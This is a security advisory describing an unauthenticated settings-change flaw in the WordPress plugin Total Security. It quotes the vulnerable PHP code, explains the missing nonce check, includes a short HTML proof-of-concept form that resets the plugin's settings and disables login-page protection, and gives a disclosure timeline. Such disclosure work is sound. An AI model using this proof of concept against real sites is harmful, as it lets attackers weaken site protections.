Settings Change Vulnerability in Total Security
We were recently doing some basic security checks over WordPress security plugins and identified a possible issue in the plugin Total Security. While the issue we first were looking into turned out to not be exploitable, we noticed a couple of other security vulnerabilities in the plugin. The first being a persistent cross-site scripting (XSS) vulnerability. The second vulnerability allows anyone to change the plugin’s settings.
While it seems pretty bad that a security plugin has security vulnerabilities of its own, what is more incredible is the response from the developer. It took them 5 days to get back to us and at that point it doesn’t even look like they have really looked over the information we provided them, since they were asking what the solution to the vulnerabilities despite much of that being provided in a link we had included in original message. Yesterday, 17 days later, they released a new version of the plugin, 3.3.8, which didn’t fix either of the vulnerabilities. Oddly the version available before that was 3.4, so they move backed versions as well.
One of things you can change on the plugin’s setting’s page is whether the plugin feature that requires you visit a special URL to access to be able to log in to WordPress. So through the vulnerability that could be disabled, allowing an attacker easier access to the login page. Someone that was looking to mess with someone might turn on the feature, if it wasn’t enabled, as a couple of times recently we had people come to us who thought their website was broken and it turned out they were using a security addon that can change the location of the website’s backend and they either had forgotten it was in use or someone else had enabled it.
The cause of the vulnerability starts with code in the file /modules/class-process.php, which caused the function fdx_update_post_settings() to run if the POST input “fdx_page” is submitted to any WordPress page:
5 6 | if (isset( $_POST['fdx_page']) ) { add_filter('init', array( $this, 'fdx_update_post_settings') ); |
That function allows access to a couple of function and to resetting the plugin’s settings:
44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 | function fdx_update_post_settings() { switch ( $_POST['fdx_page'] ) { case 'fdx_form_all': $this->fdx_process_all(); # first donation hidding time 'now' if( !get_site_option( 'fdx1_hidden_time' ) ) { $time = time(); update_option('fdx1_hidden_time', $time ); //grava o tempo em } break; case 'fdx_reset': update_option( 'fdx_settings', false ); break; case 'fdx_clean': $this->fdx_process_clean(); break; case 'hide_message': # Hide donation message for 33 days $time = time() + 33 * 24 * 60 * 60; update_option('fdx1_hidden_time', $time ); break; } } |
If you were to submit “fdx_reset” as the value of the POST input “fdx_page”, that would turn off the login page protection if it was enabled.
Submitting “fdx_form_all” as the value of the POST input “fdx_page” would cause the function fdx_process_all() and changes the plugin’s settings:
73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 | function fdx_process_all(){ if ( isset( $_POST['p2_select_1'] ) ) { $settings['p2_op1'] = $_POST['p2_select_1']; } if ( isset( $_POST['p3_select_1'] ) ) { $settings['p3_op1'] = $_POST['p3_select_1']; } if ( isset( $_POST['p4_check_1'] ) ) { $settings['p4_check_1'] = true; } else { $settings['p4_check_1'] = false; } if ( isset( $_POST['p4_check_2'] ) ) { $settings['p4_check_2'] = true; } else { $settings['p4_check_2'] = false; } if ( isset( $_POST['p4_check_3'] ) ) { $settings['p4_check_3'] = true; } else { $settings['p4_check_3'] = false; } if ( isset( $_POST['p6_check_1'] ) ) { $settings['p6_check_1'] = true; } else { $settings['p6_check_1'] = false; } if ( isset( $_POST['p7_check_1'] ) ) { $settings['p7_check_1'] = true; } else { $settings['p7_check_1'] = false; } //----------text if ( isset($_POST['p6_key']) ) { $settings['p6_key'] = stripslashes($_POST['p6_key']); } if ( isset($_POST['p6_url']) ) { $settings['p6_url'] = stripslashes($_POST['p6_url']); } update_option( 'fdx_settings', $settings ); } |
Oddly the plugin’s setting page does have a nonce that could have limited you changing the settings (but not resetting them) if you didn’t have access to it, but as the previous code shows that isn’t checked.
Proof of Concept
The following proof of concept will reset the plugin’s settings.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]" method="POST"> <input type="hidden" name="fdx_page" value="fdx_reset" /> <input type="submit" value="Submit" /> </form> </body> </html>
Timeline
- 6/30/2016 – Developer notified.
- 7/5/2016 – Developer responds.
- 7/18/2016 – WordPress.org Plugin Directory notified.
- 7/19/2016 – Removed from WordPress.org Plugin Directory.
- 8/10/2016 – Version 3.4.1 released, which fixes vulnerability.